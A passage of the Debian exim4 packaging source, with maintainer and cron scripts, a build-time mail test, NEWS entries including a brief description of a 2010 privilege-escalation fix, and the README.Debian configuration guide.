"ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken" if ! printf "Subject: exim paniclog on %s has non-zero size\nTo: root\n\nexim paniclog /var/log/exim4/paniclog on %s has non-zero size, mail system might be broken. The last ${E4BCD_PANICLOG_LINES} lines are quoted below.\n\n%s\n" \ "$(hostname --fqdn)" "$(hostname --fqdn)" \ "$(tail -n "${E4BCD_PANICLOG_LINES}" /var/log/exim4/paniclog)" \ | exim4 root; then log_this "PANIC: sending out e-mail warning has failed, exim has non-zero return code" fi if [ "$E4BCD_WATCH_PANICLOG" = "once" ]; then logrotate -f /etc/logrotate.d/exim4-paniclog fi fi fi fi # run tidydb as Debian-exim:Debian-exim. if [ -x /usr/sbin/exim_tidydb ]; then cd $SPOOLDIR/db || exit 1 if ! find $SPOOLDIR/db -maxdepth 1 -name '*.lockfile' -or -name 'log.*' \ -or -type f -printf '%f\0' | \ xargs -0r -n 1 \ start-stop-daemon --start --exec /usr/sbin/exim_tidydb \ --chuid Debian-exim:Debian-exim -- $SPOOLDIR > /dev/null; then # if we reach this, invoking exim_tidydb from start-stop-daemon has # failed, most probably because of libpam-tmpdir being in use # (see #373786 and #376165) find $SPOOLDIR/db -maxdepth 1 -name '*.lockfile' -or -name 'log.*' \ -or -type f -printf '%f\0' | \ su - --shell /bin/bash \ --command "xargs -0r -n 1 /usr/sbin/exim_tidydb $SPOOLDIR > /dev/null" \ Debian-exim fi fi debian/exim4-daemon-heavy.config0000644000000000000000000000037512027557533013774 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi db_version 2.0 if [ "reconfigure" = "$1" ]; then db_beginblock db_input low exim4-daemon-heavy/drec || [ "$?" = "30" ] db_go fi debian/minimaltest0000644000000000000000000000474612200230010011426 0ustar #!/bin/sh set -e # Do not run as root if [ `id -u` = "0" ]; then echo $0: running with id 0, exiting. exit 0 fi if ! test -x "$2" ; then echo "\$2 $2: not exeutable" exit 1 fi # set up directorytree if ! echo "$1" | grep -q '^/......' && test -d "$1"; then echo \$1 needs to be absolute patch exit 1 fi echo ======================================== echo running minimal functionality test for binary $2 in directory $1 top="$1/eximtest" rm -rf $1/eximtest/* mkdir -p $top/var/log $top/var/spool/db $top/var/spool/input $top/var/spool/msglog $top/var/run $top/var/mail cat < $top/exim4.conf exim_user = `id -u` exim_group = `id -g` log_file_path = $top/var/log/%slog spool_directory = $top/var/spool pid_file_path = $top/var/run primary_hostname = eximtest.example.com rfc1413_hosts = begin routers eximtest: driver = accept transport = writetofile begin transports writetofile: driver = appendfile file = $top/var/mail/\$local_part delivery_date_add envelope_to_add return_path_add EOF cat < $top/var/mail/compare From from@eximtest.example.com Sat May 07 12:12:12 2012 Return-path: Envelope-to: recip@eximtest.example.com Delivery-date: Sat, 07 May 2011 12:12:12 +0000 Received: from buildd by eximtest.example.com with local (Exim 4.44) (envelope-from ) id msgid for recip@eximtest.example.com;Sat, 07 May 2011 12:12:12 +0000 From: Testing Exim To: Recipient Subject: Test Message Message-Id: Date: Sat, 07 May 2011 12:12:12 +0000 no body EOF $2 -C "$top/exim4.conf" -bV $2 -C "$top/exim4.conf" -be '${if bool{0}{yes}{no}} X ${if !bool{0}{yes}{no}}' $2 -C "$top/exim4.conf" -bt local printf 'From: Testing Exim \nTo: Recipient \nSubject: Test Message\n\nno body\n' | \ $2 -C "$top/exim4.conf" -odf -oep -oi -t -f from@eximtest.example.com sed -i -e 's/^From \([^ ]*\) .*/From \1 Sat May 07 12:12:12 2012/' \ -e 's/^Delivery-date: .*/Delivery-date: Sat, 07 May 2011 12:12:12 +0000/' \ -e 's/^Received: from [^ ][^ ]* /Received: from buildd /' \ -e '/^Received:/s/(Exim [^)]*/(Exim 4.44/' \ -e '/[[:space:]]for /s/;.*/;Sat, 07 May 2011 12:12:12 +0000/' \ -e '/[[:space:]]id /s/id .*/id msgid/' \ -e 's/^Message-Id: [^@]*/Message-Id: /dev/null 2>&1; then invoke-rc.d exim4 stop else /etc/init.d/exim4 stop fi if [ -n "$EX4DEBUG" ]; then netstat -tulpen ls -al /var/run/exim4/ cat /var/run/exim4/exim.pid pidof exim4 if pidof exim4; then echo >&2 "WARN: There are some exim4 processes still running after stopping exim" fi fi fi rm -f /var/lib/exim4/berkeleydbvers.txt ;; purge) update-rc.d exim4 remove > /dev/null # ask about purging mailqueue if debconf is available, keep it # otherwise if [ -e /var/spool/exim4/input ] \ && ! rmdir /var/spool/exim4/input 2>/dev/null \ && [ "$debconfavailable" = "yes" ]; then db_version 2.0 db_input medium exim4/purge_spool || true db_go || true db_get exim4/purge_spool purge_spool="$RET" if [ "${purge_spool}" = "true" ] ; then rm -rf /var/spool/exim4/input fi fi # remove logs and pid-dir. rm -rf /var/run/exim4 /var/log/exim4 /var/spool/exim4/msglog \ /var/spool/exim4/db /var/spool/exim4/exim-process.info \ /var/spool/exim4/gnutls-params* rmdir /var/spool/exim4 /var/lib/exim4 2> /dev/null || true ;; esac #DEBHELPER# debian/exim4-daemon-light.NEWS0000644000000000000000000000731712200230010013244 0ustar exim4 (4.80~rc2-1) experimental; urgency=low Ldap lookups returning multi-valued attributes now separate the attributes with only a comma, not a comma-space sequence. The GnuTLS support has been mostly rewritten. exim main configuration options gnutls_require_kx, gnutls_require_mac and gnutls_require_protocols, are no longer supported. (They are ignored if present now, but will trigger an error in later releases.) Their functionality is entirely subsumed into tls_require_ciphers. In turn, tls_require_ciphers is no longer an Exim list and is not parsed by Exim, but is instead given to gnutls_priority_init(3). See /exim4-base/usr/share/doc/exim4-base/README.UPDATING.gz for details. -- Andreas Metzler Sat, 22 Oct 2011 19:16:58 +0200 exim4 (4.77~rc4-1) experimental; urgency=low Exim no longer performs string expansion on the second string of the match_* expansion conditions: "match_address", "match_domain", "match_ip" & "match_local_part". Named lists can still be used. The previous behavior made it too easy to create (remotely) vulnerable configurations. A more detailed rationale and explanation can be found on https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html -- Andreas Metzler Thu, 05 Oct 2011 19:22:52 +0200 exim4 (4.72-3) unstable; urgency=low Exim versions up to and including 4.72 are vulnerable to CVE-2010-4345. This is a privilege escalation issue that allows the exim user to gain root privileges by specifying an alternate configuration file using the -C option. The macro override facility (-D) might also be misused for this purpose. In reaction to this security vulnerability upstream has made a number of user visible changes. This package includes these changes. --------------------------------------------------------- If exim is invoked with the -C or -D option the daemon will not regain root privileges though re-execution. This is usually necessary for local delivery, though. Therefore it is generally not possible anymore to run an exim daemon with -D or -C options. However this version of exim has been built with TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. TRUSTED_CONFIG_LIST defines a list of configuration files which are trusted; if a config file is owned by root and matches a pathname in the list, then it may be invoked by the Exim build-time user without Exim relinquishing root privileges. As a hotfix to not break existing installations of mailscanner we have also set WHITELIST_D_MACROS=OUTGOING. i.e. it is still possible to start exim with -DOUTGOING while being able to do local deliveries. If you previously were using -D switches you will need to change your setup to use a separate configuration file. The ".include" mechanism makes this easy. --------------------------------------------------------- The system filter is run as exim_user instead of root by default. If your setup requies root privileges when running the system filter you will need to set the system_filter_user exim main configuration option. --------------------------------------------------------- -- Andreas Metzler Sat, 18 Dec 2010 18:57:16 +0100 exim4 (4.60-2) unstable; urgency=low The exim4 daemon packages now include a symlink from /usr/sbin/exim4 to /usr/sbin/exim. This can break exim 3 cron and init scripts if the last exim 3 you had installed was any earlier than 3.36-5 and the conffiles from your exim 3 package are still around. Be sure to have any exim 4 earlier than 3.36-5 _purged_ (not removed) before installing this package. -- Marc Haber Wed, 24 Jan 2006 14:58:08 +0100 debian/exim4-localscan-plugin-config.1.xml0000644000000000000000000000553712027557533015614 0ustar Magnus"> Holmgren"> 2007-06-08"> 1"> magnus@kibibyte.se"> EXIM4-LOCALSCAN-PLUGIN-CONFIG"> Debian"> ]> exim4
&dhemail;
2007 &dhusername; This manual page was written by &dhusername; for the &debian; system (but may be used by others). Permission is granted to copy, distribute and/or modify this document without any restrictions whatsoever. &dhdate;
&dhucpackage; &dhsection; &dhpackage; get information necessary to build and package exim4 plugins &dhpackage; Description &dhpackage; is a tool that is used to determine various things needed to build plugins (shared libraries) for the Exim MTA. Currently there is one such plugin API - the local_scan API. In addition to local_scan plugins, this API is also available to shared libraries used with the ${dlfunc ...} expansion item. Options Since &dhpackage; is &debian;-specific, it currently takes a single mandatory option parameter, , outputting the API/ABI version (ver). Packages containing local_scan plugins should depend on exim4-localscanapi-ver See also exim4 8 Chapter 42 of the Exim specification
debian/exim4-config.lintian-overrides0000644000000000000000000000011212200230010015005 0ustar exim4-config: non-standard-file-perm etc/exim4/passwd.client 0640 != 0644 debian/exim-gencert0000755000000000000000000000424312245437403011512 0ustar #!/bin/sh -e if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi DIR=/etc/exim4 CERT=$DIR/exim.crt KEY=$DIR/exim.key # This exim binary was built with GnuTLS which does not support dhparams # from a file. See /usr/share/doc/exim4-base/README.Debian.gz #DH=$DIR/exim.dhparam if ! which openssl > /dev/null ;then echo "$0: openssl is not installed, exiting" 1>&2 exit 1 fi # valid for three years DAYS=1095 if [ "$1" != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then echo "[*] $CERT and $KEY exists!" echo " Use \"$0 --force\" to force generation!" exit 0 fi if [ "$1" = "--force" ]; then shift fi #SSLEAY=/tmp/exim.ssleay.$$.cnf SSLEAY="$(tempfile -m600 -pexi)" cat > $SSLEAY < - + debian/eximonconf-patch0000644000000000000000000000046212027557533012366 0ustar --- exim_monitor/EDITME 2002-07-22 09:59:52.000000000 +0100 +++ config-eximon 2002-09-03 11:51:20.000000000 +0100 @@ -1,3 +1,4 @@ +# -*- makefile -*- ################################################## # The Exim Monitor # ################################################## debian/exim4.postinst0000644000000000000000000000022612027557533012032 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi db_version 2.0 #DEBHELPER# debian/exim4-base.postinst0000644000000000000000000000604012200230010012705 0ustar #!/bin/sh set -e . /usr/share/debconf/confmodule if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi db_version 2.0 BDBVERSION=3.0 case "$1" in configure) if ! getent passwd Debian-exim > /dev/null ; then echo 'Adding system-user for exim (v4)' 1>&2 adduser --system --group --quiet --home /var/spool/exim4 \ --no-create-home --disabled-login --force-badname Debian-exim fi # Create directories for log etc # install also fixes permissions. install -d -oDebian-exim -gadm -m2750 /var/log/exim4 install -d -oDebian-exim -gDebian-exim -m750 /var/run/exim4 install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4 install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4/db \ /var/spool/exim4/input /var/spool/exim4/msglog # fix permissions on upgrades if dpkg --compare-versions "$2" le "4.30-1" ; then find /var/log/exim4 /var/spool/exim4 -group mail \ \( -type f -or -type d \) -print0 | \ xargs -0r chgrp Debian-exim find /var/log/exim4 /var/spool/exim4 -user mail \ \( -type f -or -type d \) -print0 | \ xargs -0r chown Debian-exim fi # Paranoia check: On any db upgrade throw away hints # databases. if test -r /var/lib/exim4/berkeleydbvers.txt ; then OLDBDB=`head -n1 /var/lib/exim4/berkeleydbvers.txt` else OLDBDB="unknown" fi if [ "$BDBVERSION" != "$OLDBDB" ] ; then echo exim: DB upgrade, deleting hints-db 1>&2 rm -f /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \ /var/spool/exim4/db/callout* \ /var/spool/exim4/db/retry* \ /var/spool/exim4/db/ratelimit* \ /var/spool/exim4/db/__db.retry \ /var/spool/exim4/db/__db.misc* \ /var/spool/exim4/db/__db.callout \ /var/spool/exim4/db/__db.ratelimit \ /var/spool/exim4/db/__db.wait* \ /var/spool/exim4/db/log.* echo "$BDBVERSION" > /var/lib/exim4/berkeleydbvers.txt fi # Check that db files are readable by this Exim's db library dbfiles="" for f in /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \ /var/spool/exim4/db/callout* /var/spool/exim4/db/retry* \ /var/spool/exim4/db/ratelimit* ; do if [ -f "$f" ]; then if echo $f | grep \.lockfile\$ >/dev/null 2>&1; then : # ignore lock files else dbfiles="$dbfiles $(basename $f)" fi fi done for dbfile in $dbfiles; do if exim_dumpdb /var/spool/exim4 $dbfile >/dev/null 2>&1; then : # File OK else echo "Resetting invalid $dbfile hints db" 1>&2 rm -f /var/spool/exim4/db/$dbfile \ /var/spool/exim4/db/$dbfile.* \ /var/spool/exim4/db/__db.${dbfile}.* \ /var/spool/exim4/db/log.* fi done if [ -x "/etc/init.d/exim4" ]; then update-rc.d exim4 defaults >/dev/null fi # honor dpkg-statoverride settings for files not managed with dpkg for pat in /var/\*/exim4 /var/\*/exim4/\*; do [ $EX4DEBUG ] && eval echo "evaluate statoverride $pat" eval dpkg-statoverride --list $pat | while read USER GROUP MODE FILE; do [ $EX4DEBUG ] && echo "statoverride $USER $GROUP $MODE $FILE" chown ${USER}:${GROUP} $FILE chmod $MODE $FILE done done ;; esac #DEBHELPER# debian/eximon4.menu0000644000000000000000000000017012027557533011446 0ustar ?package(eximon4):needs="X11" section="Applications/System/Administration"\ title="eximon" command="/usr/sbin/eximon" debian/e-n-if-up0000644000000000000000000000173512027557533010625 0ustar #!/bin/bash # put this file in /etc/network/if-up.d/exim4-smarthost # add an exim4-smarthost smtp.server.example.com::587 line to your interface # stanza in /etc/network/interfaces # this will only work for split config, since in non-split config we # only have a single file which is included and which would need more # serious string processing to alter. With split config, we can blindly # overwrite our previous file. # Environment: # MODE = { start | stop } # IF_EXIM4_SMARTHOST = hostname[::port] SMARTHOSTFILE="/etc/exim4/conf.d/main/00_local_DCsmarthost" if [ -z "$IF_EXIM4_SMARTHOST" ]; then exit 0 fi if [ "$MODE" = 'stop' ]; then rm -f $SMARTHOSTFILE /etc/init.d/exim4 reload > /dev/null || true exit 0 fi if [ "$IF_EXIM4_SMARTHOST" = "none" ]; then rm -f $SMARTHOSTFILE /etc/init.d/exim4 reload > /dev/null || true exit 0 fi echo "DCsmarthost = ${IF_EXIM4_SMARTHOST}" > $SMARTHOSTFILE /etc/init.d/exim4 reload > /dev/null || true /usr/sbin/exim4 -qqf debian/mtalist0000644000000000000000000000016612027557533010602 0ustar courier-mta, esmtp-run, hula-mta, masqmail, mta-dummy, nullmailer, postfix, sendmail-bin, smail, ssmtp, xmail, zmailerdebian/exim4-daemon-light.prerm0000644000000000000000000000125412027557533013644 0ustar #!/bin/sh set -e if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi case "$1" in remove|upgrade) if [ -x /etc/init.d/exim4 ]; then if [ -n "$EX4DEBUG" ]; then netstat -tulpen ls -al /var/run/exim4/ cat /var/run/exim4/exim.pid pidof exim4 fi if command -v invoke-rc.d >/dev/null 2>&1; then invoke-rc.d exim4 stop else /etc/init.d/exim4 stop fi if [ -n "$EX4DEBUG" ]; then netstat -tulpen ls -al /var/run/exim4/ cat /var/run/exim4/exim.pid pidof exim4 if pidof exim4; then echo >&2 "WARN: There are some exim4 processes still running after stopping exim" fi fi fi ;; esac #DEBHELPER# debian/example.conf.md50000644000000000000000000000004412245437403012156 0ustar c181c27925094f50dbb2f1388602cf03 - debian/exim4-dev.install0000644000000000000000000000031512200230010012333 0ustar b-exim4-daemon-light/src/local_scan.h usr/include/exim4 b-exim4-daemon-light/src/store.h usr/include/exim4 b-exim4-daemon-light/src/mytypes.h usr/include/exim4 debian/exim4-localscan-plugin-config usr/bin debian/exim4-config.install0000644000000000000000000000021112027557533013052 0ustar debian/debconf/update-exim4.conf.template usr/sbin debian/debconf/exim4.conf.template etc/exim4 debian/script usr/share/bug/exim4-config debian/README.Debian.xml0000644000000000000000000022655012245437403012044 0ustar
Exim 4 for Debian
Introduction If you're reading this, you have found the README.Debian file. This is good, thanks! Please continue reading this file in its entirety. It is full of important information and has been written with the questions in mind that keep popping up on the mailing lists.
How to find your way around the Documentation Exim comes with very extensive documentation. Here is how to find it. A lot of information about Debian's Exim 4 packaging can be found in this document. The packages contain a lot of Debian-specific man pages. Use the apropos exim command to get a list. Most files that control the default configuration are documented in the exim4-config_files(5) man page, which is symlinked to the file names. man <filename> should lead you to the page. The Debian Exim 4 packages have their own Home Page which also links to a User FAQ. The very extensive Upstream documentation is shipped in text form (/usr/share/doc/exim4-base/spec.txt.gz) with the binary packages. in HTML in the package exim4-doc-html as a Texinfo file in the package exim4-doc-info Please note that documentation found on the web or in other parts of the Debian system (such as the Debian Reference) might be outdated and thus give wrong advice. In doubt, the documentation listed above should take precedence.
Getting Support For your questions and comments, there is a Debian-specific mailing list. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. Debian-specific questions are more likely to find answers on our pkg-exim4-users mailing list, while complex custom configuration issues might be more easily solved on the upstream exim-users mailing list because of the broader and more experienced audience there. You can subscribe to pkg-exim4-users via the subscription web page; you need to be subscribed to post. If you think that your question might be more easily answered if one knows a bit about your configuration, you might want to execute reportbug --subject="none" --offline --quiet --severity=wishlist --body="none" --output=exim4.reportbug exim4-config on the system in question, answer yes to both "include [extended] configuration" questions and include the contents of the exim4.reportbug file generated by this command with your question. Please check whether the file contains any confidential information before sending.
Packaging Similar to the Apache2 package, Exim 4 is an entirely different package that does not currently offer a smooth upgrade path from Debian's Exim 3 packages. It is the first Exim package in Debian that can be configured using debconf. However, the entire configuration framework is extremely flexible, allowing you to get exactly the amount of control you need for the job at hand. The development web page contains a lot of useful links and other information. The subversion repository of the Debian package is available for public read-only access and is linked from the development web page.
Feature Sets in the daemon packages To use Exim 4, you need at least the following packages: exim4-base support files for all Exim MTA (v4) packages exim4-config configuration for the Exim MTA (v4) exim4-daemon-light lightweight exim MTA (v4) daemon Just apting the metapackage exim4 will pull in the other packages per dependency. You'll get an exim daemon with minimal feature set (no external lookups). If you need more advanced features like LDAP, sqlite, PostgreSQL and MySQL data lookups, SASL and SPA SMTP authentication, embedded Perl interpreter, and exiscan-acl for integration of virus-scanners and SpamAssassin, you can replace exim4-daemon-heavy instead of exim4-daemon-light. Additionally, the source package offers infrastructure to build your own custom-tailored exim4-daemon-custom which exactly fits your special local needs. The infrastructure to do so is already in place, see debian/rules for instructions.
How to build a custom daemon The process of building a custom daemon is partially documented in the debian/rules file in the source package. Patches for more documentation are welcome.
Configuration of Exim 4 in the Debian packages Generally, the Debian Exim 4 packages are configured through debconf. You have been asked some questions on package installation, and your initial Exim configuration has been created from your answers. You can repeat the configuration process any time by invoking dpkg-reconfigure exim4-config. If you are an experienced Exim administrator and prefer to have your own, hand-crafted, non-automatic Exim configuration, you will find information about how to do so in . The debconf-driven configuration is mainly geared for a one-domain shell account machine/workstation with local delivery as suggested by the original upstream default configuration. If you configure the packages to handle more than one local domain, all local domains are treated identically. The domain part is not used for routing and filtering decisions. Despite the default configuration being extended somewhat from the original upstream, chances are that you'll need to manually change the Exim configuration with an editor if you intend to do something that is not covered by the debconf-driven configuration. It has never been the packages' intention to offer all possible configuration methods through debconf. The configuration files are there to be changed, feel free to do so if you see fit. The Debian Exim 4 maintainers have tried to make the configuration as flexible as possible so that manual intervention can be minimized. If you need to make manual changes to the Exim configuration, please be familiar with how Exim works. At minimum, have read this README file and the manpages delivered with the Debian Exim 4 packages, and /usr/share/doc/exim4-base/spec.txt.gz chapters 3 and 6. spec.txt.gz is an excellent reference. Please note that while most free-form fields in the debconf-driven configuration have the entered string end up verbatim in Exim's configuration file (and thus using more advanced features like host, address and domain lists is possible and will probably work), this is not officially supported. Only plain lists are supported in the debconf dialogs. You may use more advanced features, but they may stop working any time during upgrades.
The Configuration System
The Debconf questions In this section, we try to document and explain the debconf questions, which are themselves limited to a small screen of information and might leave questions unanswered. Since you can usually read this file only after having answered the questions, the process can always be repeated by invoking dpkg-reconfigure exim4-config. /etc/exim4/update-exim4.conf.conf, documented in the update-exim4.conf manual page, is a simple shell-script snippet used to store the answers that you passed to debconf when initially configuring Exim. You may also modify this file with an editor of your choice. The package maintainer scripts can handle this and will preserve your changes.
General type of mail configuration This is the main configuration question which will control which of the remaining questions are presented to you. It also controls things like daemon invocation and delivery of outgoing mail.
internet site; mail is sent and received directly using SMTP This option is suitable for a standalone system with full internet connectivity. The Exim SMTP daemon will accept messages to local domains, and deliver them locally. Outgoing mail will be delivered directly to the mail exchange servers of the recipient domain
mail sent by smarthost; received via SMTP or fetchmail This option is suitable for a standalone client system which has restricted internet connectivity, for example on a residential connection where an SMTP smarthost is used. Some ISPs block outgoing SMTP connections to combat the spam problem, thus requiring the use of their smarthosts. It is generally a good idea to use the ISPs smart host if one is connected with a dynamic IP address since quite a few sites do not accept mail directly delivered from a dial-in pool. fetchmail can be used to retrieve incoming mail from the ISP's POP3 or IMAP mail server and deliver it to Exim via SMTP. The Exim SMTP daemon will accept messages to local domains, and deliver them locally. Outgoing mail will always be delivered to the smarthost configured in exim4.
mail sent by smarthost; no local mail This option is suitable for a client system in a computer pool which is not responsible for a local e-mail domain. All locally generated e-mail is sent to the smarthost without any local domains.
local delivery only; not on a network This option is suitable for a standalone system with no networking at all. Only messages for configured local domains are accepted and delivered locally; messages for all other domains are rejected: ``Mailing to remote domains not supported''.
no configuration at this time This option disables most of Debian's automatisms and leaves exim in an unconfigured state. update-exim4.conf will still copy /etc/exim4/exim4.conf.template or concatenate the files from /etc/exim4/conf.d, and will not generate any configuration control macros. Unless you manually edit the configuration source, this will leave Exim with a syntactically invalid configuration file, thus in a state where the daemon won't even start. Only choose this option if you know what you're doing and are prepared to create your own Exim configuration. dpkg-conffile handling is still in place, and you will be offered updates for configuration snippets, as soon as they become available.
System mail name The "mail name" is the domain name used to "qualify" mail addresses without a domain name. This name will also be used by other programs. It should be the single, full domain name (FQDN). For example, if a mail address on the local host is foo@example.org, then the correct value for this option would be example.org. Exim, as a rule, handles only fully qualified mail addresses, that is, addresses with a local part, an @ sign and a domain. If confronted with an unqualified address, that is, one without @ sign and without domain, first thing exim does is qualify the address by adding the @ sign and a domain. This qualification happens for all addresses exim encounters, be it sender, recipient or else. The domain name used to qualify unqualified mail addresses is called ``mail name'' on Debian systems and entered in this debconf dialog. What you enter here will end up in /etc/mailname, which is a file that might be used by other programs as well. In some configuration types, the package configuration will offer you, at a later step, to hide this name from outgoing messages by rewriting the headers.
IP addresses to listen on for incoming SMTP connections Please enter a semicolon-separated list of IP addresses. The Exim SMTP listener daemon will listen on all IP addresses listed here. An empty value will cause Exim to listen for connections on all available network interfaces. If this system does only receive e-mail directly from local services (and not from other hosts), it is suggested to prohibit external connections to the local Exim daemon. Such services include e-mail programs (MUSs) which talk to localhost only as well as fetchmail. External connections are impossible when 127.0.0.1 is entered here, as this will disable listening on public network interfaces. Do not change this unless you know what you are doing. Altering this value could post a security risk to your system. For most users, the default value is sufficient.
Other destinations for which mail is accepted Please enter a semicolon-separated list of recipient domains for which this machine should consider itself the final destination. These domains are commonly called 'local domains'. The local hostname and 'localhost' are always added to the list given here. By default all local domains will be treated identically. If both a.example and b.example are local domains, acc@a.example and acc@b.example will be delivered to the same final destination. If different domain names should be treated differently, it is necessary to edit the config files afterwards. The answer to this question ends up in the list of domains that Exim will consider local domains. Mail for recipients in one of these domains will be subject to local alias expansion and then delivered locally in the appropriate configuration types.
Domains to relay mail for Please enter a semicolon-separated list of recipient domains for which this system will relay mail, for example as a fallback MX or mail gateway. This means that this system will accept mail for these domains from anywhere on the Internet and deliver them according to local delivery rules. Do not mention local domains here. Wildcards may be used. The answer to this question is a list of the domains for which Exim will relay messages coming in from anywhere on the Internet.
Machines to relay mail for Please enter a semicolon-separated list of IP address ranges for which this system will unconditionally relay mail, functioning as a smarthost. You should use the standard address/prefix format (e.g. 194.222.242.0/24 or 5f03:1200:836f::/48). If this system should not be a smarthost for any other host, leave this list blank. Please note that systems not listed here can still use SMTP AUTH to relay through this system. If this system only has clients on dynamic IP addresses that use SMTP AUTH, leave this list blank as well. Do NOT list 0.0.0.0/0! Warning: While it is possible to use hostnames instead of IP addresses in this list extra care needs to be taken in this case. Unresolvable names in the host list will break relaying. See Exim specification - chapter Domain, host, address, and local part lists and the exim4-config_files man page.
IP address or host name of the outgoing smarthost Please enter the IP address or the host name of a mail server that this system should use as outgoing smarthost. If the smarthost only accepts your mail on a port different from TCP/25, append two colons and the port number (for example smarthost.example::587 or 192.168.254.254::2525). Colons in IPv6 addresses need to be doubled. If the smarthost requires authentication, please refer to for notes about setting up SMTP authentication. Multiple smarthost entries are permitted, semicolon separated. Each of the hosts is tried, in the order specified (See Exim specification, chapter 20.5).
Hide local mail name in outgoing mail The headers of outgoing mail can be rewritten to make it appear to have been generated on a different system, replacing the local host name in From, Reply-To, Sender and Return-Path.
Visible domain name for local users If you ask Exim to hide the local mail name in outgoing mail, it will next ask you for the domain name that should be visible for your local users. These information is then used to establish the appropriate rewriting rules.
Keep number of DNS queries minimal (Dial-on-Demand) In normal mode of operation Exim does DNS lookups at startup, and when receiving or delivering messages. This is for logging purposes and allows keeping down the number of hard-coded values in the configuration. If this system does not have a DNS full service resolver available at all times (for example if its Internet access is a dial-up line using dial-on-demand), this might have unwanted consequences. For example, starting up Exim or running the queue (even with no messages waiting) might trigger a costly dial-up-event. This option should be selected if this system is using Dial-on-Demand. If it has always-on Internet access, this option should be disabled.
Delivery method for local mail Exim is able to store locally delivered mail in different formats. The most commonly used ones are mbox and Maildir. mbox uses a single file for the complete mail folder stored in /var/mail/. With Maildir format every single message is stored in a separate file in ~/Maildir/. Please note that most mail tools in Debian expect the local delivery method to be mbox in their default.
Split configuration into small files Our packages offer two (actually three, see ) possibilities: Generate Exim's configuration from /etc/exim4/exim4.conf.template, which is basically a normal Exim run-time configuration file which will be supplemented with some macros generated from Debconf in a post-processing step before it is passed to exim. Generate Exim's configuration from the multiple files in /etc/exim4/conf.d/. The directories in /etc/exim4/conf.d/ correspond to the sections of the Exim run-time configuration file, so you should easily find your way around there. Splitting the configuration across multiple files means that you have the actual configuration file automatically generated from the files below /etc/exim4/conf.d/ by invoking update-exim4.conf. Each section of Exim's configuration has its own subdirectory and the files in there are supposed to be read in alphanumeric order. router/00_exim4-config_header is followed by router/100_exim4-config_domain_literal, ... If you chose unsplit configuration, update-exim4.conf builds the configuration from /etc/exim4/exim4.conf.template, which is basically the files from /etc/exim4/conf.d/ concatenated together at package build time, and thus guarantees consistency on the target system. In both cases, update-exim4.conf generates exim configuration macros from the debconf configuration values and puts them into the actual configuration file, which is then used by the Exim daemon. See the update-exim4.conf manual page for more in-depth information about this mechanism. Benefits of the split configuration approach: it means less work for you when upgrading. If we shipped one big file and modified for example the Maildir transport in a new version you won't have to do manual conffile merging unless you had changed exactly this transport. It allows other packages (e.g. sa-exim) to modify Exim's configuration by dropping files into /etc/exim4/conf.d. This needs, however quite exact syncing between the exim4 packages and the other, cooperating package. Drawbacks of the split configuration approach: It is more fragile. If files from different sources (package, manually changed, or other package) get out of sync, it is possible for Exim to break until you manually correct this. This can for example happen if we decide to add a new option to the Debian setup of a later version, and you have already set this option in a local file. Benefits of the unsplit configuration approach: People familiar with configuring Exim may find this approach easier to understand as exim4.conf.template basically is a complete Exim configuration file which will only undergo some basic string replacement before is it passed to exim. Split-config's fragility mentioned above does not occur. Drawbacks of the unsplit configuration approach: Will require manual intervention in case of an upgrade. If in doubt go for the unsplit config, because it is easier to roll back to Debian's default configuration in one step. If you intend to do many changes to the Debian setup, you might want to use the split config at the price of having to more closely examine the config file after an update. We'd appreciate a patch that uses ucf and the 3-way-merge mechanism offered by that package. It might be the best way to handle the big configuration file. If you are using unsplit configuration, have local changes to /etc/exim4/conf.d/ (either made by yourself or by other packages dropping their own routers or transports in) and want to re-generate /etc/exim4/exim4.conf.template to activate these changes, you can do so by using update-exim4.conf.template.
Access Control in the default configuration The Debian exim 4 packages come with a default configuration that allows flexible access control and blacklisting of sites and hosts. The acls involved can be found in /etc/exim4/conf.d/acl, or in /etc/exim4/exim4.conf.template, depending on which configuration scheme you use. Most rejections of messages due to this mechanism happen at RCPT time. Local configuration of the mechanisms happens through data files in /etc/exim4 or via Exim macros that you can set in /etc/exim4/conf.d/main, so there is normally no need to change the files in the acl subdirectory in a split-config setup. If you use the non-split config, you need to edit /etc/exim4/exim4.conf.template, which, as a big dpkg-conffile, won't give you any advantage of the .ifdef scheme. The data files are documented in the exim4-config_files man page. The access lists delivered with the exim4 packages also contain quite a few configuration options that are too restrictive to be active by default on a real-life site. These are masked by .ifdef statements, can be activated by setting the appropriate macros, and are documented in the ACL files itself.
Using Exim Macros to control the configuration Our configuration can be controlled in a limited way by setting macros. That way, you can switch on and off certain parts of the default configuration and/or override values set in Debconf without having to touch the dpkg-conffiles. While touching dpkg-conffiles itself is explitly allowed and wanted, it can be quite a nuisance to be asked on package upgrade whether one wants to use the locally changed file or the file changed by the package maintainer. Whenever you see an .ifdef or .ifndef clause in the configuration file, you can control the appropriate clause by setting the macro in a local configuration file. For split configuration, you can drop the local configuration file anywhere in /etc/exim4/conf.d/main. Just make sure it gets read before the macro is first used. 000_localmacros is a possible name, guaranteeing first order. For a non-split configuration, /etc/exim4/exim4.conf.localmacros gets read before /etc/exim4/exim4.conf.template. To actually set the macro EXIM4_EXAMPLE to the value "this is a sample", write the following line EXIM4_EXAMPLE = this is a sample into the appropriate file. For more detailed discussion of the general macro mechanism, see the Exim specification, chapter 6.4, for details how macro expansion works.
